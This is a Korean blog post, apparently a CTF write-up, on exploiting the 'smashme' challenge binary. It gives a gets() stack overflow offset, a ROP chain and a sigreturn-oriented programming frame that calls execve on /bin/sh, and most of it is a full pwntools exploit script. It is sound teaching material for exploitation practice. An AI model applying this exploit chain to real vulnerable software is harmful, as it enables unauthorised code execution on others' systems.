보호기법은 aslr외엔 없다.

헥스레이해보면 gets로 bof가 터지는 것을 알 수 있다.


그리고 gets한 변수의 첫 부분에 "Smash me outside, how bout dAAAAAAAAAAA" 문자열이 들어가야 한다.

우선 haystack변수의 위치는 rbp-0x40이므로 rbp+0x8까지 72바이트의 차이가 나므로 72바이트 후 오버플로우 하면 ret를 조작할 수 있다.


근데 이 바이너리는 정적 컴파일이 되어 있고 system, execve함수와 같이 쉘을 실행시킬 수 있는 함수가 없다.


따라서 syscall을 해서 문제를 풀었다.


srop 페이로드는 잘 정리된 문서에 pwntool을 이용하여 간단하게 작성하는 법이 적혀있어서 참고했다.

문서
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
 
r = process("./smashme")
elf = ELF("./smashme")
 
read = elf.symbols['read']
write = elf.symbols['write']
bss = elf.bss()
pop_rax = 0x4c3b28
pop_rdi = 0x4014d6
pop_rsi = 0x4015f7
pop_rdx = 0x441e46
pop_rcx = 0x490db3
cmd = "/bin/sh\x00"
syscall = 0x466815
 
log.info("bss = {}".format(hex(bss)))
 
payload = "Smash me outside, how bout dAAAAAAAAAAA"
payload += "A"*33
 
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(4)
payload += p64(write)
 
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(len(cmd))
payload += p64(read)
 
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(len(cmd))
payload += p64(write)
 
payload += p64(pop_rax)
payload += p64(0xf)
payload += p64(syscall)
 
frame = SigreturnFrame(arch="amd64")
frame.rax = 0x3b
frame.rdi = bss
frame.rsp = syscall
frame.rip = syscall
 
payload += str(frame)
 
print r.recv()
r.sendline(payload)
print r.recv()
r.sendline(cmd)
print r.recv()
r.interactive()

Ref.https://www.lazenca.net/display/TEC/02.SROP%28Sigreturn-oriented+programming%29+-+x64

'CTF' 카테고리의 다른 글

BCTF 2016 bcloud  (0) 2018.08.24
Defcon 2014 Babyfirst heap  (0) 2018.08.16
Plaid 2014 ezhp  (0) 2018.08.12
CodeGate2017 messenger  (0) 2018.08.07
RCTF 2015 welpwn  (0) 2018.08.01

+ Recent posts